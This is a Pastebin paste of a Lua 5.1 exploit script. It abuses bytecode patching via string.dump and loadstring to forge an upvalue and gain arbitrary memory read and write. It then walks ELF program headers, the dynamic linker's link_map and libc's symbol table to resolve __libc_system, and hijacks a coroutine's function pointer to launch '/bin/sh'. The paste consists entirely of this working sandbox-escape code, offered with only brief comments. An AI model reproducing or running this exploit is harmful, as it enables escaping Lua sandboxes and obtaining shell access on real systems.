Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- {
- asnum = loadstring((string.dump(function(x)
- for i = x, x, 0 do
- return i
- end
- end):gsub("\96%z%z\128", "\22\0\0\128")))
- function double_to_dwords(x)
- if x == 0 then return 0, 0 end
- if x < 0 then x = -x end
- local m, e = math.frexp(x)
- if e + 1023 <= 1 then
- m = m * 2^(e + 1074)
- e = 0
- else
- m = (m - 0.5) * 2^53
- e = e + 1022
- end
- local lo = m % 2^32
- m = (m - lo) / 2^32
- local hi = m + e * 2^20
- return lo, hi
- end
- function dwords_to_double(lo, hi)
- local m = hi % 2^20
- local e = (hi - m) / 2^20
- m = m * 2^32 + lo
- if e ~= 0 then
- m = m + 2^52
- else
- e = 1
- end
- return m * 2^(e-1075)
- end
- function dword_to_string(x)
- local b0 = x % 256; x = (x - b0) / 256
- local b1 = x % 256; x = (x - b1) / 256
- local b2 = x % 256; x = (x - b2) / 256
- local b3 = x % 256
- return string.char(b0, b1, b2, b3)
- end
- function qword_to_string(x)
- local lo, hi = double_to_dwords(x)
- return dword_to_string(lo) .. dword_to_string(hi)
- end
- function add_dword_to_double(x, n)
- local lo, hi = double_to_dwords(x)
- return dwords_to_double(lo + n, hi)
- end
- rawset(_G, "add_dword_to_double", add_dword_to_double)
- rawset(_G, "asnum", asnum)
- rawset(_G, "double_to_dwords", double_to_dwords)
- rawset(_G, "dwords_to_double", dwords_to_double)
- rawset(_G, "dword_to_string", dword_to_string)
- rawset(_G, "qword_to_string", qword_to_string)
- -- stop garbage collecting
- collectgarbage "stop"
- f = loadstring(string.dump(function()
- local magic = nil
- local function middle()
- local print = print
- local asnum = asnum
- local double_to_dwords = double_to_dwords
- local add_dword_to_double = add_dword_to_double
- local dwords_to_double = dwords_to_double
- local qword_to_string = qword_to_string
- local co = coroutine.wrap(function() end)
- local substr = string.sub
- local find = string.find
- local upval
- -- get the address of current "lua_State"
- local luastate1 = asnum(coroutine.running())
- local luastate2 = add_dword_to_double(luastate1, 8)
- -- some constants
- local n1 = 1
- local n2 = 2
- local n4 = 4
- local n6 = 6
- local n7 = 7
- local n8 = 8
- local n16 = 16
- local n24 = 24
- local n32 = 32
- local pht_offset_from_auxwrap = 0x8ba060
- local h38 = 0x38 -- program header entry size
- local PT_DYNAMIC = 2
- local DT_NULL = 0
- local DT_STRRAB = 5
- local DT_SYMTAB = 6
- local DT_DEBUG = 21
- local libc = "libc.so."
- local system = "__libc_system"
- local null = "\0"
- local empty = ""
- -- declare some variables
- local luastate1_bkp
- local luastate2_bkp
- local lo, hi
- local base
- local ptheader
- local dynamic
- local symbol
- local libc_base
- local libc_system
- local libc_strtab
- local libc_symtab
- local debug
- local s, e, tmp, n
- local str = empty
- local link_map
- local libc_dynamic
- local commands = {
- dwords_to_double(0x7273752f, 0x6e69622f), dwords_to_double(0x7365722f, 0x00007465), -- "/usr/bin/reset"
- dwords_to_double(0x6e69622f, 0x0068732f), dwords_to_double(0x00000000, 0x00000000) } -- "/bin/sh"
- local function put_into_magic(n)
- -- hand-craft an UpVal
- upval = "nextnexttmpaddpa" .. qword_to_string(n)
- -- get the pointer to our hand-crafted UpVal
- local upval_ptr = qword_to_string(add_dword_to_double(asnum(upval), 24))
- magic = upval_ptr .. upval_ptr .. upval_ptr
- end
- -- put luaB_auxwrap's address into "magic"
- put_into_magic(add_dword_to_double(asnum(co), n32))
- -- get offset to Program Header Table (ELF Header + 32)
- lo, hi = double_to_dwords(asnum(magic))
- base = dwords_to_double(lo - pht_offset_from_auxwrap, hi)
- put_into_magic(add_dword_to_double(base, n32))
- -- get real address of Program Header Table
- lo, hi = double_to_dwords(asnum(magic))
- ptheader = add_dword_to_double(base, lo)
- -- get the _DYNAMIC section's address
- while true do
- put_into_magic(ptheader)
- lo, hi = double_to_dwords(asnum(magic))
- if lo == PT_DYNAMIC then
- -- p_vaddr : elf64_phdr+16
- put_into_magic(add_dword_to_double(ptheader, n16))
- dynamic = asnum(magic)
- break
- else
- ptheader = add_dword_to_double(ptheader, h38)
- end
- end
- dynamic = dynamic + base
- -- get DT_DEBUG
- while true do
- put_into_magic(dynamic)
- lo, hi = double_to_dwords(asnum(magic))
- if lo == DT_DEBUG then
- put_into_magic(add_dword_to_double(dynamic, n8))
- debug = asnum(magic)
- break
- else
- dynamic = add_dword_to_double(dynamic, n16)
- end
- end
- -- get the pointer to the link_map structure
- put_into_magic(add_dword_to_double(debug, n8))
- link_map = asnum(magic)
- -- iterate link_map until libc is found
- while true do
- put_into_magic(add_dword_to_double(link_map, n8))
- n = asnum(magic)
- -- we can read only 8 bytes at once, so we have to loop
- while true do
- put_into_magic(n)
- tmp = qword_to_string(asnum(magic))
- s, e = find(tmp, null)
- if s then
- str = str .. substr(tmp, n1, s - n1)
- break
- else
- str = str .. tmp
- n = add_dword_to_double(n, n8)
- end
- end
- -- have we found libc?
- s, e = find(str, libc)
- if s then
- put_into_magic(link_map)
- libc_base = asnum(magic)
- -- get _DYNAMIC section for LibC
- put_into_magic(add_dword_to_double(link_map, n16))
- libc_dynamic = asnum(magic)
- -- get DT_STRTAB and DT_SYMTAB from LibC
- while true do
- put_into_magic(libc_dynamic)
- lo, hi = double_to_dwords(asnum(magic))
- put_into_magic(add_dword_to_double(libc_dynamic, n8))
- if lo == DT_NULL then
- break
- elseif lo == DT_STRRAB then
- libc_strtab = asnum(magic)
- elseif lo == DT_SYMTAB then
- libc_symtab = asnum(magic)
- end
- libc_dynamic = add_dword_to_double(libc_dynamic, n16)
- end
- break
- else
- put_into_magic(add_dword_to_double(link_map, n24))
- link_map = asnum(magic)
- end
- end
- -- iterate LibC's symbol table until system (actually __libc_system) is
- -- found.
- while true do
- put_into_magic(libc_symtab)
- lo, hi = double_to_dwords(asnum(magic))
- -- we can read only 8 bytes at once, so we have to loop
- n = add_dword_to_double(libc_strtab, lo)
- str = empty
- while true do
- put_into_magic(n)
- tmp = qword_to_string(asnum(magic))
- s, e = find(tmp, null)
- if s then
- str = str .. substr(tmp, n1, s - n1)
- break
- else
- str = str .. tmp
- n = add_dword_to_double(n, n8)
- end
- end
- if str and str == system then
- -- get __libc_sytem's real address
- put_into_magic(add_dword_to_double(libc_symtab, n8))
- lo, hi = double_to_dwords(asnum(magic))
- libc_system = add_dword_to_double(libc_base, lo)
- break
- else
- libc_symtab = add_dword_to_double(libc_symtab, n24)
- end
- end
- -- replace co's function pointer to __libc_system's real address
- put_into_magic(add_dword_to_double(asnum(co), n32))
- magic = libc_system
- -- save the current lua_State
- put_into_magic(luastate1)
- luastate1_bkp = asnum(magic)
- put_into_magic(luastate2)
- luastate2_bkp = asnum(magic)
- -- execute commands in 16 byte chunks
- for i=n1,#commands,n2 do
- put_into_magic(luastate1)
- magic = commands[i]
- put_into_magic(luastate2)
- magic = commands[i + n1]
- co()
- end
- -- restore the original lua_State
- put_into_magic(luastate1)
- magic = luastate1_bkp
- put_into_magic(luastate2)
- magic = luastate2_bkp
- end
- middle()
- end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))
- coroutine.wrap(f)()
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement